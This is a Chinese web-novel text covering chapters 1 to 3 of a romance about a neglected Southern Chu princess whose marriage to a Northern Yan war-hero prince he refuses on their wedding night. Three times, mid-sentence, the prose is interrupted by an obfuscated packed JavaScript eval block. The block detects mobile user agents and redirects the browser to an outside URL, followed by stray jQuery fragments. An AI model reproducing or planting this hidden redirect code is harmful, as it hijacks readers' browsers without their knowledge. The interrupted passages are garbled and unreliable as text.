《弃公主手握火葬场剧本》 1. 第 1 章 暮春,陌上花开得荼蘼时,宋辞穗嫁去了北燕。 喜轿在敦王府停妥,已经入夜。醉人的花香从窗外飘进来,带着冷冰的雨水味道,叫她不禁打个哆嗦。 她花了小半个月,从南楚跋山涉水来到这里。要嫁的人是有着北燕战神之称的北燕三皇子,敦王慕容远。 面对这桩仓促议定的婚事,一路上,宋辞穗都有些恍惚。直到此刻,坐在空洞的喜房里,她才终于对于远赴他乡有了实感。 她真的为了一个人,来到了完全陌生的地方。 北燕的上京城不如她们南楚的临安热闹。漆黑的草原包围着城池,入夜后,街上嘈杂的车马人声渐渐远去,越发显得整座敦王府安静冷清。 仆从在窗外来来往往,宋辞穗听不懂这些人的口音,只能从其中夹杂的一两个词语朦胧猜测,大概又在质疑她和慕容远的婚事。 “三爷在战场上出生入死,好不容易才有了如今的地位,和太子平起平坐。他可是开国以来、唯一赐‘于越’之衔的亲王。这份殊荣,不是谁都配得上的。” “而且三爷长得那样俊,身姿笔挺,威仪凛然,上京多少豪族姑娘抛绣球、丢手绢,排着队想嫁给三爷,三爷随手点一位也是千好万好,可他看都没看过一眼。” “谁说不是呢。我原以为三爷没有成家的想法,前几个月才刚平了西羯十二部,封赏都还没下来,就不声不响去了南楚……” 然后在短短一个月内,被南楚小国蒙蔽了双眼。 屋外传来一阵哀叹,颇有些匪夷所思之感。 “这还是三爷第一次带姑娘回上京吧?”有人用憋脚的汉话念出了宋辞穗的名字,“这劳什子,劳什子……辞穗姑娘,究竟是何来头?” “听说好像是位公主。” “什么公主,就是个骗子,”有知道内幕的将声音压低道,“我听跟三爷一起去南楚的小哥说,这骗子设下陷阱让三爷重伤,以命要挟,这才不得不成亲。” 几人纷纷恍悟,“若非性命堪忧,南楚这种弹丸小国,连真公主三爷都未必看得上,遑论一个骗子。” 如此一想,无人不感叹一声南楚的姑娘真是好手段。 宋辞穗断断续续听了这些,有苦说不出。 南楚式微,她又只是深宫里一位不受宠的公主,像她这样的人,本该与慕容远毫无交集。 直到月余前的一天深夜,丫鬟春杏着急忙慌跑来告诉她,说在后山发现了一位晕倒的男子,看腰牌,似乎是北燕的三皇子。 春杏有北燕血统,给宋辞穗讲过不少北燕的闲话,其中有一件穗穗记得最清楚,北燕的聘礼极其丰厚,几乎是男子家财一半有余。 短短的一瞬间,宋辞穗做出了人生中最大胆的一个决定: 她要去救慕容远,然后嫁给他! 漏夜多雨,水雾笼罩在山林间,泥地又湿又滑。宋辞穗提着一盏孤灯,费了九牛二虎之力,才找到靠在树下的男子。 恰在此时,月光穿出云翳,照亮这人深邃凌厉的眉眼,卷曲的黑色头发,湿漉漉的,贴在苍劲的颊边。 他生得好放浪,是和南楚儿郎的精雕细琢全然不同的感觉,在雨后林间格外有种野性的悸动。 宋辞穗将他扛到自己肩上,慕容远很抗拒她的搭救,推搡之中,他突然扑到她面前。 宋辞穗惊呼一声,他们离得太近了,几乎贴在一起,一双鹰隼般的眼眸近在咫尺,黑不透光的眼珠转动着,将她上上下下打量个遍。 确定慕容远已经醒之后,宋辞穗同他谈条件,说救他的前提是娶她。 慕容远几乎不假思索的答应了她。 所以,即便她确实利用了他,但宋辞穗一直以为,他们两人,也算是一个愿打一个愿挨。 可怎生到这些北燕人口中,就变成她心机算计? 凉风将细碎的花瓣卷上窗台,烛光随风凐灭,黑漆漆的夜漏了进来,冷的人心惊。 坐了半个月的马车,宋辞穗的双腿酸涩僵硬,她一面揉捏着膝盖,一面用双脚去探脚踏的边沿,试图下地寻找烛台。 许是从前逼仄的深宫住久了,慕容远这张婚床对她来说实在大得陌生,窸窸窣窣的衣料声在寂静的屋内响了很久,她都难以往前踏出一步。 终于,丫鬟春杏进来了,在一声嗔怪中,重新点燃了窗边的残烛。 十三四岁的小姑娘出现在视野里,臂弯抱着毛茸茸的毯子,双手捧着一只暖炉,嘟囔着走到床边, “春宵一刻,哪户好人家结亲不是灯火长明的?公主这样尊贵,喜蜡油灯更是要千盏万盏的点。 就他们北燕,连喜烛都没有,三支红烛就打发了,真是好生无礼!” 提起这茬,春杏就来气,用毛毯裹了暖炉给宋辞穗揉腿,手下力道都不禁重了三分, “奴婢方才路过府门,看见王爷正在下马,手上还提着食篮美酒,像是才从食肆回来。 分明是大喜的日子,他居然自个儿跑出去喝酒,可怜公主在这破落院子里挨饿受冻的等他回来行礼。” 洞房花烛夜,新郎不成礼,晾着新妇独自上酒楼,说出去真是荒唐。 婚事是强求来的,慕容远的生气,宋辞穗能理解。 只是,这板上钉钉的婚事,他拖延时间又有什么意义呢?尽早礼成、尽早歇着,不是更好吗? 宋辞穗悄悄叹了口气,见春杏气得脸儿都红了,弯了唇宽慰道, “趋炎附势是人的本性,在南楚时什么折磨践踏的手段我们没见过? 这会儿敦王府大略也是见我们出身不好,有意晾一晾我们。不打紧,过会儿他们面子挣足了,总要来的。” 话虽这样说,可这是姑娘家一生只有一次的大日子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490158|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春杏瞧着冷清空洞的婚房,想起南楚皇亲国胄那些普天同庆的婚礼,想起二公主出嫁时楚皇恨不得掏空半个国库,她的心中越发不是滋味, “公主心善,体谅三王爷,处处妥协。就怕别人不这样想,北燕可没有咱们南楚讲理守信。” 这话落在宋辞穗耳朵里,她想起还在南楚议婚时,她在父皇的政事殿外听见的争执。 慕容远当着她父皇的面闹出好大动静,活生生将一只人高的花瓶砸碎,出来时虎口还淌着血。 说不担忧是假的。慕容远对她从来就没有表现出感激,更别提亲近。来北燕的路上,他不止一次劝她重新考虑。 包括今日进门,慕容远也没有明确表示过同意。宋辞穗只能当他是默许,自己做主,让花轿将她抬进王府。 夜色又凉了几分,冰冷的更鼓声传来,宋辞穗的心里也不禁打起了鼓。 已经二更天了,他不会不来吧? 可他答应过她的。 宋辞穗正要起身去门前张望,廊檐下传来脚步声,矫健沉稳,侯在门外的丫鬟们齐齐福身问了句,“三爷”。 她赶忙坐回喜床,春杏手忙脚乱替她理好裙摆,方执起喜扇遮面,便听门扉被人推开。 凉风席卷而入,将残烛再次吹灭。月光洒下,绰绰人影像一张铺天大网,三步并作两步,向她兜头而来。 耳畔传来叮叮当当的脆响,低垂的视线里,闯入两条镶嵌明珠的玉带,玉珠摇晃,露出繁复喜庆的底纹。 像是亲手绣的纹样,也不知北燕哪位绣娘手艺这么好,瞧着就叫人欢喜。 新人成亲仪制繁琐,宋辞穗记得,当初议婚时,慕容远对累赘的礼袍百般嫌弃,一直没有松口答应。 但最后,他还是佩戴上了成婚用的玉腰带,全了礼仪。 于是,这一刻,将礼教刻进骨子里的南楚公主,破天荒不合规矩的,悄悄拿下喜扇,望向眼前的儿郎,弯眉笑了笑。 月光为慕容远魁梧的剪影镶上温柔的银边,宋辞穗攀着扇沿,模样怯生生的。她并不知道此刻她的目光有多动人。 小巧浑圆的珠帘垂在两颊,轻轻颤动,月光噙在笑眼里,亮得好像要溢出来。 慕容远无端想起了自己年少时养的一窝小奶猫,最喜欢躲在灌丛里,等着他前去喂食。那种胆怯又期盼的模样,和眼前人如出一辙。 晃神片刻,慕容远再抬头看去时,宋辞穗已经飞快的躲进了喜扇背后。 只是方才注视向他的灼热目光,怎样都挥之不去,他甚至能随着喜扇背后一起一伏的呼吸,想见她轻颤睫羽、笑弯的眼。 来时步履匆匆,一心想着速战速决,此刻,慕容远竟犹豫起来。 他不觉握紧了负在身后的拳头,沉默许久,才听得一道冷肃的声音落下, “五公主,我不会同你成亲。” 2. 第 2 章 慕容远的话语,就像铁石落入寒潭,“啪嗒”一声,惊得宋辞穗抖落喜扇。 什么意思? 她这是被退婚了? 她径直从榻上站起来,此刻也顾不得礼数了,一把抓住慕容远的袖摆,“是不是……是不是我哪里做的不好?” 宋辞穗想了想,“我不该擅自拿开喜扇,我也没有想要强迫三爷着南楚婚服。我……我不懂北燕的规矩,三爷告诉我,我以后一定都听三爷的。” 小姑娘声音越来越低,软绵绵的带上哭腔。 南楚的规矩实在太多了,若非宋辞穗提起,慕容远甚至都没有留意到这些事情。他叹了口气,用所剩不多的耐性,拿开她揪在袖摆上的小手, “五公主,婚姻大事不能儿戏,要真心相悦的人,才能携手共度一生。你我二人仅有几面之缘,本王不能把枕边交给陌生人,请公主体谅。” 好看的乌瞳在他脸上泛起寒光,他的嘴唇一张一合,说出来的字毫无温度。 在来北燕的路上,类似的说辞慕容远已经说过无数次了。宋辞穗垂了头,不想看他,心里也憋起气, “可我们在南楚已经祭拜了宗祠,敬告了天地,还有父皇做主,这在南楚已经算作成婚了。三爷在南楚停留月余,这么长的时间,不也没有拒绝么。” 一回到北燕,就翻脸不认婚事。慕容远这样呼风唤雨的尊贵皇子,估计从没想过身为女娘的不易;更无法体会一位不受待见的公主、顶着世人窥探的目光,步步为营的艰辛。 “况且,那晚我救下三爷,三爷答应娶我的时候,怎么没想过是儿戏? 如今回到北燕,无后顾之忧了,就想赶我走。三爷该不会是利用我保命之后,就想弃之不顾吧。” 宋辞穗抬起一双雪亮的眸子,不卑不亢的坚决模样,就好像眉宇间卧了一把披荆斩棘的冷剑。 夜风摇动,银月在她的眉眼间闪烁,慕容远叫她瞪得有些怔忪,反应了许久,才意识到小公主这是在讽刺自己。 ”五公主哪里来的底气质问本王?你自己趁着备婚捞了多少钱?你们楚人一向贪慕权贵,既然已经拿到钱了,你便该知足。赶快回去,本王不与你计较。” 看着慕容远声色俱厉想赶她走、像对待仇敌一样对待她,宋辞穗心中的失望化也化不开。 他将她带到北燕,再一脚踢开,压根没想过,她会为此搭上一辈子。 “慕容远,我好歹救过你的命。” “是恩人还是仇人可不好说。说不定就是五公主设下的陷阱,等本王往里钻。” “什么叫设下陷阱?”宋辞穗几乎瞬间领悟到他的言外之意,明眸泛起不可思议,“三爷怀疑我自导自演?” 慕容远没法否认,良久的沉默,让夜色像冰封一般。 宋辞穗贝齿打颤,紧紧攥住裙摆,好一会儿,满目自嘲冷笑。 没办法,是她有求于他,她只能强咽下泪意,看向凉薄到令她胆寒的新婚夫君, “如果我能够证明自己确实是三爷的救命恩人呢?三爷是不是就愿意娶我了?” 慕容远已经认定此事就是宋辞穗和南楚皇室一手策划的,宋辞穗执意证明,倒让他生出些看戏的心。 “五公主打算如何证明?” 宋辞穗沉了声。 是啊,这里是北燕,不是南楚,她该如何在异国他乡为自己作证呢? ==== 敦王府灯火通明,几条街之外的使臣驿站,也有人彻夜不眠。 一位美艳少女斜倚在矮几上,蹙眉看向厨房送来的一碟肉片,肉腥味道浓烈得令人作呕。 “五妹妹也真是的,非要千远万远嫁来北燕。北燕一帮粗人,就是再富庶,也只知道食生肉、饮马血,能有我南楚舒坦?” 宋嘉懿睨了丫鬟一眼,叫人撤下席案,又拥了白狐裘,拖着迤逦雪纱衣裙,明眸一一环顾梁上灰扑扑的毛毡棚顶、壁上成块的生锈装饰,嫌弃之情愈发浓烈。 屋内另一位郎君见状,温和一笑,将手边一盏温好的红枣茶推了过去,“当初父皇商议送亲队伍,可是你主动要跟来的。明明心里就放不下,又何必抱怨。” 说这话的是穗穗的长兄,宋景安。他和宋嘉懿并着一支羽林卫,一起来北燕送穗穗出嫁。 宋嘉懿挑起秀眉,凤眼里泛起不忿, “我难道骂错了?慕容远眼高于顶,一看就不是安分的人。五妹妹眼皮子那么浅,皇宫的内庭都没出过,能玩得过他?” 知道慕容远不是什么好人,她好心劝宋辞穗那丫头,和她们留在驿站,待北燕帝后颁下婚书,正式遣喜轿来接时,再规规矩矩的进门。 宋辞穗却觉得她在害她,片刻不留,上赶着往人家王府里钻,连累她今夜也难以安心就寝,大半夜了还要挨饿受冻。 “仪式不全就去见了夫婿,那是什么?那是妾室才有的做派!且等着吧,有她后悔的时候。” 这一路以来,宋嘉懿一直都是这幅别别扭扭的模样,宋景安觉得好笑, “五妹妹久居内庭不知内幕,你肯定清楚,慕容远此番到访南楚就是为了和亲。五妹妹不嫁,要嫁的就是你了。” 他意味深长的看向宋嘉懿,“难道,你愿意嫁给慕容远?” 听得这话,宋嘉懿顿时面颊红透,乌睫颤颤,目光心虚得无处安放。 南楚和北燕关系微妙,已经多年没有来往。此番慕容远来南楚,明面是出使,实际是北燕想试探南楚的态度,让南楚和亲、俯首称臣。 此等机密之事,本断无可能叫宋辞穗知晓。她误打误撞参与进来,也不知是好是坏。 宋景安叹息一声,“所以,不仅不该骂五妹妹,我们还应该对她好一点。我瞧她的嫁妆,着实是不够看,太傅家的外孙女都比她体面。我们再筹备筹备,莫要让人看轻南楚。” 提起这事,宋嘉懿又忍不住数落, “还要如何才叫体面?她要嫁的好歹是慕容远,将来有希望执掌北燕的。南楚人又不傻,仅我知道的各宫嫔妃就送了不下五十抬贺礼。 这丫头汲汲于嫁给慕容远,就是贪财,贺礼早就被她吞个精光。” 宋景安无意听她唠叨,径自往屋角去翻捡箱奁。 “过去的事多说无益。待这两日,我们顺顺利利将她送走,便算大公告告成。” 他提笔要写什么,突然顿住, “五妹妹叫什么名字?你再同我说一遍,我多写几张喜帖封礼。” 因为与这位小妹从无交集,就连南楚皇室中人,许多都不知道她的存在。 “辞穗,辞旧迎新的辞,盈车嘉穗的穗。亏得我离开时问钦天监誊抄了一份庚帖。” 宋嘉懿颇为不悦的翻了个白眼,到底还是取来了一套点翠金雀头面,又拔下腕上一只水头很好的镯子,给宋辞穗封进了礼盒里,“丢人也不能丢我南楚的人。 ==== 这些年慕容远南征北战,少不了封赏,真要论起来,就是当年南楚二公主掏空半个国库的嫁妆,在他眼里都不够看。 不过,慕容远对于嫁妆贺礼,倒是一直都没计较过。 他一门心思扑在沙场,并非奢靡精致之人。从敦王府就能看出来,虽然阔气,却疏于打理,处处流露出粗犷。 宋辞穗停轿的这间院落靠近围墙,是府里最简陋的一间,院中只有一盏孤灯,银月照下,像一片荒原。 穗穗立在门廊前,在黑夜里环顾一圈,找不见库房所在,回身朝慕容远微微福身,“劳烦三爷,可否取张地图来。” “地图?”慕容远不免警惕,“你要地图做什么?” 穗穗自信道,“找出和南楚皇宫后山相仿的地界,还原当日我救三爷的场景。” 那晚救下慕容远之后,也不知是有心还是无意,他坚称不记得事情经过。 穗穗现在没有办法去南楚那片山上翻找线索,她能做的,只有唤醒慕容远的记忆。 在慕容远想起来之前,无论她说什么,都没有意义。 慕容远也想知道在自己身边月余的人到底是不是居心叵测,他犹疑片刻,招呼下人取了地图过来,凶神恶煞的递给宋辞穗,“本王端看你还能如何狡辩。” 宋辞穗仔细研究一番,圈出图上一块山坡,与慕容远驱车前往。 她害怕这般周折引起慕容远的不满,紧张得沉默不语,不敢多言一句。直到马车停在山脚,她才告诉慕容远自己的打算, “这里有山林溪涧,延绵二十里,与那日困住三爷的地界类似。今日,我再扛着三爷走过二十里,或许三爷身临其境,能想起一二。” 慕容远总觉得这法子有些不妥,又道不上来,正思索着,宋辞穗已经走到他身前,微微福身,“三爷,得罪了。” 不待慕容远反应,凉意攀上他的手臂,如雪般瓷白的肌肤触碰上来,盈盈如水, “五公主这是作何……” 话音未落,慕容远突然瞪大眼睛。他发现,缠在他手臂上的根本不是清泉,而是洪水,是猛兽,不待他挣扎,便已经拖着他腾空而起。 在战场上一只手就能拧断敌人脖子的北燕战神,第一次被人抗到了肩上,以一种身躯对折、极其屈辱的姿势, 还是一个身量刚及他肩膀的黄毛丫头! “你简直胡闹,快放本王下来!”慕容远窘得声音都在发抖。 他半边身体挂在宋辞穗的肩膀上,脑袋朝下,很快涨得通红,憋着气的胸口一起一伏。 穗穗一侧头,就能看见他深邃的眉眼,眉心拧得能滴水,鸦青长睫掀动起一片燎烧的怒火。 她没有听话,反而勾手托住慕容远的脑袋,脚下已经稳稳的迈出了一步,“那天晚上我也是这样扛着三爷下山的,可没见三爷有什么差池。” 慕容远是真的不记得了,每次这小公主提起救他的那晚,他总是无话可说。 “雨天路滑,若是摔着五公主,本王可担待不起。”慕容远的气焰明显减弱。 “那天也下了雨的,” 穗穗目光坚定,甚至有些自豪, “放心吧三爷,旁的事我不敢托大,力气却是好得很。 以前我常去浣衣局运脏衣桶,一次能抗四只呢,姑姑们都赞不绝口。三爷这点身量,最多两只脏衣桶,绝对摔不着你。” 慕容远微微迷了眼。这都什么乱七八糟的话!什么四只两只脏衣桶的?难不成是在说他是脏衣桶? 他自然是没有那么好的耐心去猜这小公主到底是什么意思。不过,说话的片刻,他倒是看出了些端倪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490159|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这小公主虽然身姿娇小,力气却不小。下盘极稳,他在她肩上甚至都没感觉到摇晃。要知道,这可是下过雨的泥地,就是他们北燕的儿郎走在这种山路,都难免打滑。 此刻早已过了子夜,万籁俱寂。星子闪烁着在枝叶间捉迷藏,明月近得来好像触手可得。 山下似乎在进行一场祭祀,有古老的吟唱飘摇传来。一时间,两人都没有说话。 慕容远看着身边的姑娘,月辉下,一张小脸光洁顺滑,毫无棱角。谁会想到,模样如此温柔可人,实际居然是个孔武有力的女郎君。若是生在北燕,习武参军,投入他麾下,说不定能拿下不俗军功。 这个念头将慕容远吓了一跳,原本是要把宋辞穗送走的,怎么还替她惋惜起来了。 他赶紧回神,轻咳一声,“五公主背着本王走了这么远,又能说明什么呢?都是你的苦肉计罢了。” 小公主脚步一顿,五味杂陈的看了他一眼,又垂下脑袋、闷声不吭往前走,只是先前身上那股自豪的劲头没有了,只顾着往前走。 慕容远感觉到一丝异样,“怎么不说话?” 许久,宋辞穗才开口,“还没走完二十里,三爷不知道这件事有多困难,出任何差池都完成不了,才怀疑我会拿这个办法冒险博取三爷的同情。” 慕容远搞不清她的逻辑,但看她这小嘴翘着,桃腮一鼓一鼓的模样,难道不正是在博取他的同情吗? “本王该说你什么好,有时狡猾得过分,有时又如此古板。当日走了二十里,今日就非得走完二十里吗?可以了,停下吧。” 宋辞穗不作声,慕容远也没了耐性,挣扎起身,妄图从她肩头落地。 穗穗此刻还穿着繁复的婚服,本就走得极其艰难,慕容远这一动,她着实吃不消,踉跄向后栽倒。 眼看两人就要后仰倒地,穗穗突然腰腹发力,猛的向前俯身,竟硬生生扛着慕容远往前扑下,让慕容远落到她的背上。 她不知道若是她摔着了,慕容远担不担待得起,她只知道,要是慕容远有丝毫差池,整个北燕怕是都要拿她开刀。 幸好,慕容远毫发无伤,生龙活虎从地上站起来,“宋辞穗,你到底在做什么……” 话到一半,慕容远突然停住,因为他看见,宋辞穗那瓷白小臂,被荆棘深深剜开一道伤口,血淋淋的嫩肉在寒风中瑟缩颤抖。月光照在上面,白的愈白,红的愈红,触目惊心。 刹那间,一些零碎的画面闪过慕容远的脑海。 他想起,在南楚迷失山林的那天晚上,也是这样雨后的林间,也是这样好的月光,也是眼前这个姑娘,摔在泥地里,被划破了手背。 不止这些,他还想起那天晚上,摔在地上的姑娘小脸煞白回身看他,小手摩挲着他的面颊,好像在对待什么绝世珍宝。 他短暂清醒的片刻,视野被这个姑娘占据,她遮住了月光,眼睛却比月光还亮。她软绵绵的问他,能不能娶她。得到肯定的回答之后,她高兴得像要溢出蜜来。 山路遥远,她一手拖着他的脖颈,一手轻拍在他的后背,悠扬的歌声回荡在月色下。 慕容远从没被人这样对待过。一股前所未有的烦躁油然而生,他颓然垂立在清冷的月光里,一下一下,狠狠按捏着胡乱跳动的额角青筋。 凉夜无声。 穗穗趴在地上缓了许久。慕容远壮硕矫健,一身鼓胀硬挺的肌肉结结实实砸在她身上,她险些昏死过去。 原以为慕容远会对她破口大骂,战战兢兢回身,却听得他一句,“回去吧,我相信你了。” 短短一句话,重新点燃了穗穗的希望,她一骨碌从地上跑起来, “我可以留下来了吗?” “可以。”慕容远抱胸,阔步往山下走。 穗穗欣喜若狂,顾不得伤痛,小跑着追上去,“幸好喜堂没拆,天还没亮,我们现在回去,来得及……” 来得及做什么,她还没说出口,慕容远突然停在马车边,“你救了本王,本王会报答你,但不会成婚,本王的心意不会改变。” 他撑在车门上,离穗穗只有几寸远,微凉的鼻息几乎喷在她的雪腮上。 穗穗不太明白,“那我留下来,做什么呢?” 耳边安静得诡异,连风声都停住了。 黎明乍现之前,最是寒冷。 很快穗穗就会明白,相较于让慕容远想起那晚,还不如让他什么都不知道。 至少那样,她还能抱有一丝期待,骗骗自己,她救下的不是什么狼心狗肺的人,他只是失忆了。 而不会像现在,任由他冰冷得好像二月雪的声音,往她心上砸, “府上多的是丫鬟,本王不介意再多一个。” …… 他分明什么都记起了,也知道了她的救命之恩,可他仍然不承认,明目张胆的抵赖,甚至还要让她当丫鬟。 一股钻心疼痛蹿上来,穗穗拧紧眉头。 她为了救慕容远,抛弃了看得比命还重要的礼义廉耻,与他拉拉扯扯,受了一身伤,也受尽冷嘲热讽。 从始至终,所求的,不过是他遵守承诺。 可到头来,慕容远就是这样恩将仇报的。 毫无信任可言,甚至,还用丫鬟侮辱她。 难道她就这么不受待见吗? 3. 第 3 章 马车停在敦王府门前,天光已经亮开。残存的秀灯照在慕容远侧脸,锋利得令人胆寒。 慕容远一掌推开门,下了车,似又想起什么,眼风扫回车窗内,嘱咐说,“停轿的那处院子依旧留给你,不必同其他人挤在后院。旁的,五公主自便。” 实际上,慕容远无意折辱宋辞穗。 常年征战,他一年到头回王府的日子屈指可数,并不知道府里的丫鬟都是做什么的,只是瞧着她们都挺快活、挺自由。 宋辞穗一意孤行要留下,他思来想去也不知道该给她落个什么头衔,索性就让她留在府里,同那些丫头一样,当个闲人,待日后寻到合适的时机,再将人送回去。 怪只怪慕容远一介粗人,于礼教一事上实在懈怠,压根没考虑到身份地位这个问题。 在南楚,丫鬟可都是奴籍,哪怕得了主子赏识,坐拥金山银山,身籍也与旁人不同,永远都是低人一等的存在。 这于向来视礼制如命的穗穗来说,无异于奇耻大辱。她气得浑身都在战栗,扶着车架,好半晌才站起身。 春杏从小门跑过来扶她,举着一盏小灯,看见手臂的伤口时,眼眶瞬间通红,“三爷也太磋磨人了,公主之前为他受的伤还没好呢……” 慕容远还没有走远,穗穗憋着泪,示意春杏噤声。 她将她的尊严按在地上摩擦,他都置若罔闻,现在她不想叫他再听见这些了,好像她多么恨嫁似的。 “先扶我回去,脚踝有伤,我快站不住了。” 摔倒时,穗穗不仅伤了手臂,还扭了脚踝。 慕容远这个粗人,自然不会费心观察她的异样,大步流星往回走。穗穗担心被扔在山上,追得好辛苦,坐上马车时,双脚已经没有知觉,藏在宽大的喜服裙摆下,不消看也知道,定然肿得像石头。 春杏撩起裙摆瞧了一眼,立时吓得倒吸一口冷气,眼泪也顾不上了,垂着两颗泪珠,慌慌张张扶住穗穗的胳臂。 主仆两人一瘸一拐往回走,正走到府门前,却见慕容远还站在门前,同一个宫中来的人交谈。 见着宋辞穗过来,那人立马堆了笑迎到跟前,“这位想必就是朝临公主吧。老奴特奉皇后娘娘旨意,来请两位新人入宫赴宴。” 眼泪因为这突如其来的变故戛然而止。看来宫里还不知道慕容远的想法,穗穗抬头去看慕容远的意思。 慕容远不复面对她时的不耐烦,神色平静端肃,微微颔首道,“劳母后记挂,待本王整理好仪容,便带五公主进宫拜见。” 看来,慕容远也有不得不恭敬对待的人。 春杏帮穗穗沐浴,为她换上进宫朝见的礼袍,相较喜服的繁复程度只增不减。 春杏挽发别珠钗时,穗穗取了药膏为自己上药,就听春杏又在身后念起她背的滚瓜烂熟的北燕皇室宗谱, “三爷生母去世得早,是被皇后娘娘抚养长大的,向来对皇后娘娘敬重有加。 这位皇后娘娘是北燕皇帝的发妻,育有太子和五皇子,与皇帝情深义重。 公主切记,轻易莫要招惹娘娘。” 穗穗点头,“放心,娘娘该是位心善之人。北燕没有新人敬茶的规矩,娘娘这是重视我,才特意召我进宫。想必兄长和阿姊也会去,好叫我们见上一见。” 春杏想着,确实是这个道理,心下也放松不少,“要是以后能有皇后娘娘关切着,三爷再折磨人,公主也有人撑腰了。” 穗穗笑嗔她话本子看多了,满脑子婆媳联手对付姑爷的桥段,心里也隐隐有些期待。 俗话说,天无绝人之路。 她无法说服慕容远成婚,但或许,皇后娘娘知道慕容远的所作所为之后,会愿意帮她主持公道。 而且,慕容远还一直没有给她聘礼。按照南楚的规矩,郎君的聘礼应该在父母手上。她讨好帝后,比讨好慕容远管用。 如此想着,穗穗神情变得严肃。她的目光落在妆台上,挑挑拣拣,让春杏替她再仔细打扮一番。 这会儿主仆正手忙脚乱准备着,门前冷不丁传来慕容远的声音,“何时出门?” 他推门而入,负手站在黄花梨镜妆台前,一窗旖旎春色叫他挡住,瞬间,荡然无存。 “三爷……” 春杏吓得一溜烟跪在地上,徒留穗穗梗着脖子,僵在座椅上。 慕容远哪里见过姑娘家的阵仗,好端端一张素色矮几,铺满了钗环玉翠,琳琅满目,还有不少别在宋辞穗的脑袋上,叮叮当当的晃,晃得他眼神都不知道该放在何处。 待他反应过来时,目光已经在宋辞穗脸上停留了半刻之久。 慕容远只觉得一阵嫌恶直窜心尖,他就知道这南楚小公主贪慕虚荣,如今一瞧,果真如是! “磨磨蹭蹭,你们南楚人可真是矜贵。” 穗穗一个字还没说出口,慕容远已经拂袖而去。 他或许压根没想过,这是她第一次见婆家的大日子,她也会紧张、也很期待。 况且,就算不为着装扮,她这会儿也出不了门,她的脚踝还没缓过来呢。 入宫的喜悦叫慕容远一扫而空。穗穗没有了打扮的心思,最后只简单捋平裙摆,为脚踝缠好了绷带。 出门时,慕容远已经独自打马离去,留下一架空空荡荡的马车。昨夜阴雨,天气阴凉,车上没有备炭,穗穗一坐进去,像是掉进了冰窟窿,心尖直颤。 她不敢耽搁,催着车夫快些走,约莫过了半盏茶的功夫,才终于有了生气。 春杏坐在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490160|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻捏了捏她的掌心,抬头看去,不远处是慕容远纵马缓行的背影。 他松松垮垮的缠着缰绳,三不五时夹一下马腹,雪白车帘外,一挑落拓背影若隐若现。 春风涌动,将穗穗听不懂的乡音吹进马车里,冰冷的空间里充斥着嘈杂的、陌生的欢笑。 在这个本该大喜的日子,她却独自坐着马车,去往陌生的宫殿,面对未知的一切。 而那个本该遵守约定,陪伴她的“夫君”,明明离得不远,却似乎无论怎样都触碰不到。 这一刻,一股莫大的孤独感涌向全身。 显而易见的,她在这片土地上唯一有交集的人,并不待见她。 不过,也无所谓。 只要她能圆了婚事,拿到聘礼,其他的都无所谓。 ==== 下轿时,慕容远抄着手,一脸不悦的在宫门前等候。穗穗不敢停留,快步向他跑去。 北燕的富庶都喜欢直白的摆到台面上来,成排纯金的梁柱,华美瑰丽的楼阁,望不见头的甬道,还有许多穗穗看不懂形制、但金光闪闪的庙宇佛堂。 北燕人确也是不讲究,慕容远领着她大摇大摆的穿过议事殿、途径御书房。穗穗在自己国家都没瞧过的前朝中枢,倒是在北燕皇宫瞧了个便。 沿途高梁立柱、琼楼玉宇,目不暇接,实在是气派至极。 穗穗跟在慕容远两步开外,一面走一面瞧,忍不住小小声的咂舌。 待到入了宣和殿,还是迟了。宋景安和宋嘉懿早已入席,北燕帝后也已上坐,还有几位皇室叔伯。所有人的目光都聚焦到门前,看向这对晚到的新人。 身边聚起一团低气压,慕容远早已盛怒,若非因为在殿上,怕是又要怒骂而去。 仆从过分懂事的掩上了身后的织锦帷幔,春风被隔绝在外,殿内一片死寂。 穗穗硬着头皮杵在堂中央,余光悄悄环顾四周。北燕善战,殿内金砌四壁,挂满象牙狼骨、宝刀神弓,配合席上一双双不怀好意的目光,看得她心里发毛。 不知安静了多久,终于听见皇后笑盈盈的声音响起,“陛下有所不知,全公公去请时,他二人正从外面游玩回来呢。现在的年轻一辈,玩乐的样式多,听着就叫人欢喜。” 有了皇后帮忙解释,北燕皇帝原本阴沉的脸色,才少许缓和。 穗穗真心实意感激皇后娘娘,跪在地上行了大礼。要同慕容远一起入座时,却听他低声道了句,“你去那边。” 南楚的规矩,确实男宾女宾分别列席,穗穗没上心,在阿姊身边坐定,打眼一瞧,才觉好似不是这么回事儿。 慕容远的叔叔伯伯们,都是一家人坐在一张席案。 慕容远这是在撇清与她的关系么? 4. 第 4 章 